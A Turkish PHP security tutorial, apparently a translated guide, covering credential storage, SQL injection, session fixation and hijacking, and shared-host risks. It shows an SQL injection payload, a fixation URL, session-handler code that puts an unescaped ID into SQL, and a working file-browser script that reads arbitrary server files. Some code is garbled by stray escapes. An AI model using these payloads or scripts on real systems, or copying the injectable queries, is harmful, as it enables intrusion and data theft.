Bu konu da yazarin tavisye ettigi yöntem ise ’PHP Cookbook (O’Reilly) by David Sklar and Adam Trachtenberg’ adli kitapta anlatilan yöntemdir. Disaridan ulasilamayan ve sadece root tarafindan okunabilen gizli bir dosyada /path/to/secret-stuff veritabani bilgileri tutulur :

SetEnv DB_USER "myuser"
SetEnv DB_PASS "mypass"

httpd.conf dosyasinda asagidaki ayari yaparak bu dosya çagirilir :

Include "/path/to/secret-stuff"

Simdi PHP betiklerinde $_SERVER[’DB_USER’] ve $_SERVER[’DB_PASS’] kullanilarak kullanici adi ve sifresine ulasilabilir. Web sunucusu dosyayi okuyamdigindan PHP veya diger dillerle bu dosyaya ulasilamaz. Bu yöntemde dikkat edilmesi gereken husus ise bu degiskenlerin varliginin phpinfo() veya print_r($_SERVER) ile disariya gösterilmemesidir.

SQL Degistirme (SQL Injection)

SQL degistirme savunmasi çok kolay bir tehlikedir. Fakat birçok uygulama hala risk tasimaktadir. Asagidaki örnekte basit bir SQL sorgusu vardir.

<?php

$sql = "INSERT
        INTO   users (reg_username,
                      reg_password,
                      reg_email)
        VALUES (’{$_POST[’reg_username’]}’,
                ’$reg_password’,
                ’{$_POST[’reg_email’]}’)";

?>

$_POST kullaniliyor. Bu sorgunun basitçe bir kullanici hesabi açma islemi oldugunu düsünelim. Kayit isleminde geçici bir sifre olusturulup kullaniciya mail atildigini düsünelim. Artniyetli bir kullanici kullanici adi yerine asagidaki metni girdiginde:

bad_guy’, ’mypass’, ’’), (’good_guy

Bu herhangi bir veri kontrolünden geçirilmediginde direk olarak SQL sorgusunda asagidaki gibi bir degisiklik olusturur :

<?php

$sql = "INSERT
        INTO   users (reg_username,
                      reg_password,
                      reg_email)
        VALUES (’bad_guy’, ’mypass’, ’’), (’good_guy’,
                ’1234’,
                ’[email protected]’)"; ?>

Bu durumda sorgu bir hesap olusturmasi gerekirken iki hesap olusturacak.

Bu örnek çok zararli görülmeyebilir. Artniyetli kisi SQL degistirmeyi basardigi zaman yapabilecegi SQL dilinin yapabilecekleri ile sinirlidir.

Bazi veritabanlarinda ayni anda birden fazla SQL cümlesi gönderilebilir. Böyle durumlarda saldirgan gerçek sorguyu sonlandirip istedigi sorguyu çalistirabilir.

MySQL öntanimli olarak birden çok sorgu cümleciginin ayni anda islenmesine izin vermemektedir. Yeni sürümlerde birden fazla sorgu PHP eklentisi (ext/mysqli) mysqli_query() yerine mysqli_multi_query() kullanilarak gönderilebilir. Tek sorgu ile çalisilmasi ve çoklu sorgu iselemeye izin verilmemesi tehlikeyi azaltir.

SQL degistirmeyi engellemek için :

  • Disardan alinan bütün verileri kontrol edin.

    Bu cümle tekrar edildigi kadar önemlidir. Siki bir kontrol birçok tehlikeyi baslamadan engeller.

  • "’" kullanin.

    Eger veritabani izin veriyorsa (MySQL verir) SQL içindeki bütün degerleri "’" içine alin.

  • Çakismayi kontrol edin.

    Bazen normal metinlerde SQL benzeri metin parçalari olabilir. Bu tür durumlarda veritabaninin bunu ayirt etmesi için mysql_escape_string() yada veritabaninin sagladigi fonksiyonlari kullanilmalidir. Eger veritabani böyle bir fonksiyon saglamiyorsa addslashes() son çare olarak kullanilabilir.


Oturum Yönetimi

Oturum Tespiti

Oturumlar sikça saldirilara hedef olurlar. Oturum saldirilarinin temel mantik bir kullanicinin yetkilerini onu taklit ederek çalismaktir.

Bir saldirgan için ilk etapta en önemli bilgi oturum anahtaridir. Oturum anahtarini elde etmek için kullanilan üç temel yol vardir :

  • Tahmin

  • Yakalana

  • Tespit

Tahmin yönteminde adinda belirtildigi gibi anahtarin tahmini esasina dayanmaktadir. PHP’nin temel oturum fonksiyonlari kullanildiginda üretilen oturum anahtarlari tamamen rastgele üretildigi için tahmin edilmesi çok güçtür.

Elegeçirme yönteminde ise oturum anahtari elde edilmeye çalisilir. Genellikle oturum anahtarlari çerezlerle yada GET degiskeni olarak tasindigi için anahtari elde etmek için çerezler ve GET kontrol edilir. Çerezler tarayici tarafindan da korundugu için GET yöntemine göre daha güvenlidirler (Tarayicilarin zaman zaman bu konuda zayifliklari ortaya çikmistir). Oturum anahtarini tasimak için çerezlerin kullanilmasi tavsiye edilir.

Tespit yöntemi oturum anahtarini elde etmek için kulanilan en basit yöntemdir. Eger oturum yönetimi sirasinda sadece session_start() kullaniliyorsa bu durum tehlike olusturur.

Tespit yöntemini açiklama için örnek bir betik session.php ile baslayalim:

<?php

session_start();

if (!isset($_SESSION[’visits’]))
{
    $_SESSION[’visits’] = 1;
}
else
{
    $_SESSION[’visits’]++;
}

echo $_SESSION[’visits’];

?>

Sayfa ilk ziyaret edildiginde sayfada 1 görüntülenir. Sayfa her ziyaret edildiginde bu deger bir artar.

Bu betigi çerezleri silerek (ilk defa ziyaret ediyor olmak için) URL’ye ?PHPSESSID=1234 ekleyerek çagiraliraka oturum açilir. Daha sonra tamamen farkli bir tarayici ile (farkli bir bilgisayar da olabilir) ayni sekilde çagirildiginda oturumun devam ettigi görülür.

Hemen akla ’Bu durumda ne sakinca var?’ sorusu gelebilir. Kullanici sayfaya üretilmis bir oturum anahtariyla gönderilir. Anahtar kod tarafindan oturuma kaydedilir (Yukaridaki örnek için geçerli). Saldirgan tarafindan üretilen anahtar artik geçerli bir anahtardir ve bu anahtari kullanilarak kullanicinin bütün yetkilerine sahip olunabilir. Saldirgan bu oturum anahtarini istedigi sekilde kullanabilir.

Bu tür bir saldiriyi engellemek oldukça basittir. Eger bir oturum anahtarina sahip aktif bir oturum yoksa yeni bir oturum anahtari olusturulup oturum aktif edilerek devam edilir. Asagidaki kod basitçe bu isi yapmaktadir :

<?php

session_start();

if (!isset($_SESSION[’initiated’]))
{
    session_regenerate_id();
    $_SESSION[’initiated’] = true;
}

?>

Bu basit çözümü bir saldirgan herhangi bir oturum anahtari için oturumu aktif ederek ve bu anahtari kullanarak saldirisini gerçeklestirebilir.

Bu tür saldirilardan korunmak için bu saldirilarin ancak kullanicinin belli seviyede yetkiye sahip oldugunda saldirgan için faydali olacagi düsünülmelidir. Dolayisiyla kullanicin yetkisinin degistigi (sisteme giris yapilmasi gibi) her asamada oturum anahtari yeniden olusturulup degistirilmelidir.

Oturum Çalma

Oturum çalma baska bir kullanicinin oturumuna sahip olma anlamina gelir.

Oturum çalmanin ilk asamasi yukaridaki yöntemleri veya baska yöntemleri kullanarak oturum anahtarini ele geçirmektir.

Bu bölüm oturum anahtarinin elegeçirilmesi durumunda tehlikenin daha aza indirilmesi için yapilabilecekler hakkindadir. Oturum anahtari elegeçirildikten sonra neler yapilabilir?

Basit bir oturum yönetiminde oturumu ele geçirmek için tek gerekli olan sey oturum anahtaridir. Oturum hakkinda daha fazla bilgi edinmek için HTTP isteklerine de bakilabilir.

Not :

TCP/IP seviyesindeki bilgiler (Örnegin IP adresi) çok güvenilir degildir ve üst seviyedeki islemler hakkinda bilgi vermezler. Örnegin kullanicin IP adresi islem sirasinda degisebilir.

Recall a typical HTTP request:

GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234

Sadece Host basligi HTTP/1.1 için gereklidir. Oturum çalmayi engellemek için tutarlilik önemlidir. Yani kullanicin ayni kisi oldugundan emin olmak gereklidir.

Yukaridaki istegin farkli bir User-Agent basligina sahip oldugu düsünülürse asagidaki bir istek geldiginde :

GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla Compatible (MSIE)
Accept: text/xml, image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234

Ayni çerez gönderilmesine ragmen bu istegi yapanin ayni kullanici olup olmadigi önemlidir. User-Agent basliklarinin degerindeki farklilik kullanicinin tarayici degistirdigini gösterir. Bu mantikli degildir çünkü kullanici sayfada gezinirken tarayiciyi ayni oturumda degistiremez. Oturum yönetimine yeni bir kontrol eklemek saglamlastirir.

<?php

session_start();

if (isset($_SESSION[’HTTP_USER_AGENT’]))
{
    if ($_SESSION[’HTTP_USER_AGENT’] != md5($_SERVER[’HTTP_USER_AGENT’]))
    {
        /* þifre ekraný*/
        exit;
    }
}
else
{
    $_SESSION[’HTTP_USER_AGENT’] = md5($_SERVER[’HTTP_USER_AGENT’]);
}

?>

Simdi saldirgan User-Agent basliginin degerini de dogru olarak göndermek zorundadir. Bu tabiki saldirganin isini biraz daha zorlastirir.

Bu durumu daha da gelistirmemiz gereklidir. Çünkü saldirgan ilk önce kendi sitesini ziyaret ettirerek dogru User-Agent degerini bulabilir.

User-Agent degerinin MD5 ile sifrelenmis halini kullanmak isi zorlastirsa da tecrübeli bir saldirgan tarafindan tahmin edilebilir. Saldirganin tahminini zorlastirmak için bu sifrelenmis degere rastgele bir deger ekleyerek zorlastirabiliriz :

<?php

$string = $_SERVER[’HTTP_USER_AGENT’];
$string .= ’SHIFLETT’;

/* Add any other data that is consistent */

$fingerprint = md5($string);

?>

Oturum kontrolü sirasinda herhangi bir hata tespit edildiginde kullaniciya suçlu muamelesi yapilmamalidir ve sadece sifre sormak çogu zaman yeterlidir. Bu hem daha yumusak bir çözümdür hem de kullanicilarin güvenlik önlemlerini görmelerini saglar.

Bu konuda birçok koruma yöntemi vardir. En azindan direk olarak session_start() kullanmadan önce oturum kontrollerinin yapilmasi belli asamada güvenlik saglar. Her zaman akilda tutulmasi gereken ise art niyetli kullanicilari engellemeye çalisiorken normal kullanicilarin isini zorlastirmamaktir

Not :

Bazi güvenlik uzmanlari User-Agent basliginin yüzde yüz tutarli olmadigini belirtmisleridir. Bunun sebebi ise HTTP proxy sunucusu kullanilan sistemlerde User-Agent degerinin kolayca degistirilebilecegi biliniyor. Yazar kisisel olarak böyle bir durumla karsilasmadigini fakat göz önünde bulundurulmasi gerektigini belirtiyor.

Accept basligi ’Internet Explorer’ tarayicisinda sayfa yenilendiginde degistigi için bu baslik kontroller sirasinda kullanilmamalidir.

Paylasilan Hostlar (Birden Fazla Web sayfasi Barindiran Sunucular (Shared Hosts))

Açik Oturum Bilgileri

Web sayfasi birden fazla sayfanin bulundugu bir sunucuda bulunduruluyorsa tek basina bir tek sunucuda (dedicated server) bulunmasi durumundan daha fazla riske sahiptir.

Paylasilan sunucularin en büyük riski oturum bilgilerinin ortak bir yerde saklanmasidir. Ön tanimli olarak PHP oturum bilgilerini /tmp altinda doslayarda tutuyor. Ön tanimli degerlerin her zaman saldirganlarin için ilk baktiklari yer olduguna dikkat edilmelidir. Oturum dosyalarina sadece web sunucusu ulasabilir :

$ ls /tmp
total 12
-rw-------  1  nobOdy  nobOdy  123 May 21 12:34 sess_dc8417803c0f12c5b2e39477dc371462
-rw-------  1  nobOdy  nobOdy  123 May 21 12:34 sess_46c83b9ae5e506b8ceb6c37dc9a3f66e
-rw-------  1  nobOdy  nobOdy  123 May 21 12:34 sess_9c57839c6c7a6ebd1cb45f7569d1ccfc
$

Tabiki bir PHP kodu sayesinde bu dosyalara kolayca ulasilabilir.

php.ini dosyasindaki safe_mode belirteci bu ve buna benzer durumlari engeller. Fakat saldirganlar farkli programlama dilleri kullanarak oturum bilgilerine ulasmaya çalisabilirler.

Bunun için söyle bir çözüm uygulanabilir. Herkesin kullandigi yerler oturum kayit etmek için kullanilmamalidir. Veritabanai, ki sadece sizin hesabiniz tarafindan ulasilacaktir, oturum bilgilerinin kaydi için kullanilabilir. Bu session_set_save_handler() fonksiyonu kullanilarak yapilabilir.

Oturum bilgilerinin veritabaninda tutulmasini saglayan bir PHP örnegi :

<?php

session_set_save_handler(’open’, ’close’, ’read’, ’write’, ’destroy’, ’clean’);

function open()
{
    global $_sess_db;

    if ($sess_db = mysql_connect(’127.0.0.1’, ’myuser’, ’mypass’))
    {
        return mysql_select_db(’sessions’, $_sess_db);
    }

    return false;
}

function close()
{
    global $_sess_db;

    return mysql_close($_sess_db);
}

function read($id)
{
    global $_sess_db;

    $sql = "SELECT data
            FROM   sessions
            WHERE  id = ’$id’";

    if ($result = mysql_query($sql, $_sess_db))
    {
        $record = mysql_fetch_assoc($result);

        return $record[’data’];
    }

    return false;
}

function write($id, $data)
{
    global $_sess_db;

    $access = time();
    $data = mysql_escape_string($data);
    $sql = "REPLACE
            INTO    sessions
            VALUES  (’$id’, ’$access’, ’$data’)";

    return mysql_query($sql, $_sess_db);
}

function destroy($id)
{
    global $_sess_db;

    $sql = "DELETE
            FROM   sessions
            WHERE  id = ’$id’";

    return mysql_query($sql, $_sess_db);
}

function clean($max)
{
    global $_sess_db;

    $old = time() - $max;

    $sql = "delete from sessions where access < ’$old’";

    return mysql_query($sql, $_sess_db);
}

?>

Bu kod veritabaninda sessions adinda ve asagidaki yapida bir tablo olmasini gerektirir. Tablo :

mysql> DESCRIBE sessions;
+--------+------------------+------+-----+---------+-------+
| Field  | Type             | Null | Key | Default | Extra |
+--------+------------------+------+-----+---------+-------+
| id     | varchar(32)      |      | PRI |         |       |
| access | int(10) unsigned | YES  |     | NULL    |       |
| data   | text             | YES  |     | NULL    |       |
+--------+------------------+------+-----+---------+-------+

Bu tablo asagidaki SQL komutu ile olusturulabilir :

CREATE TABLE sessions
(
    id varchar(32) NOT NULL,
    access int(10) unsigned,
    data text,
    PRIMARY KEY (id)
);

Oturum bilgileri veritabaninda saklandiginda oturum güvenligi veritabani güvenligine birakilmis olur.

Dosya Sisteminin Taranmasi

Asagidaki kodlar bir sunucuda denendiginde dosya sistemi içinde gezintiyi yapilmasini saglar.

<?php

echo "<pre>\\\\\\\\\\\\\\\\\\n";

if (ini_get(’safe_mode’))
{
    echo "[safe_mode enabled]\\\\\\\\\\\\\\\\\\n\\\\\\\\\\\\\\\\\\n";
}
else
{
    echo "[safe_mode disabled]\\\\\\\\\\\\\\\\\\n\\\\\\\\\\\\\\\\\\n";
}

if (isset($_GET[’dir’]))
{
    ls($_GET[’dir’]);
}
elseif (isset($_GET[’file’]))
{
    cat($_GET[’file’]);
}
else
{
    ls(’/’);
}

echo "</pre>\\\\\\\\\\\\\\\\\\n";

function ls($dir)
{
    $handle = dir($dir);

    while ($filename = $handle->read())
    {
        $size = filesize("$dir$filename");

        if (is_dir("$dir$filename"))
        {
            if (is_readable("$dir$filename"))
            {
                $line = str_pad($size, 15);
                $line .= "<a href=\\\\\\\\\\\\\\\\\\"{$_SERVER[’PHP_SE LF’]}?dir=$dir$filename/\\\\\\\\\\\\\\\\\\">$filename/</a>";
            }
            else
            {
                $line = str_pad($size, 15);
                $line .= "$filename/";
            }
        }
        else
        {
            if (is_readable("$dir$filename"))
            {
                $line = str_pad($size, 15);
                $line .= "<a href=\\\\\\\\\\\\\\\\\\"{$_SERVER[’PHP_SELF’]}?file=$dir$filename\\\\\\\\\\\\\\\\\\">$filename</a>";
            }
            else
            {
                $line = str_pad($size, 15);
                $line .= $filename;
            }
        }

        echo "$line\\\\\\\\\\\\\\\\\\n";
    }

    $handle->close();
}

function cat($file)
{
    ob_start();
    readfile($file);
    $contents = ob_get_contents();
    ob_clean();
    echo htmlentities($contents);

    return true;
}

?>

safe_mode belirteci ile bu tür PHP kodlarinin çalismasi engellenir, ama ayni betik baska dillerde yazilirsa bu belirtec faydasiz kalir.

En güzel çözüm çok degerli bilgilerin veritabaninda saklanmasidir ve yukarida bahsedilen veritabani güvenligi konusunu uygulamaktir ($_SERVER[’DB_USER’] ve $_SERVER[’DB_PASS’] degiskenlerinin bahsedildigi yöntem gibi).

Paylasilan bir sunucu kullanmak yerine mümkünse uygulamaya özel sunucu kullanmak daha güvenlidir. Çünkü ayni sunucuyu paylasilan artniyetli kisilerden korunmak oldukça güçtür.


   
   
Cyber-Warrior TIM All Legal and illegal Rights Reserved.\CWDoktoray 2001©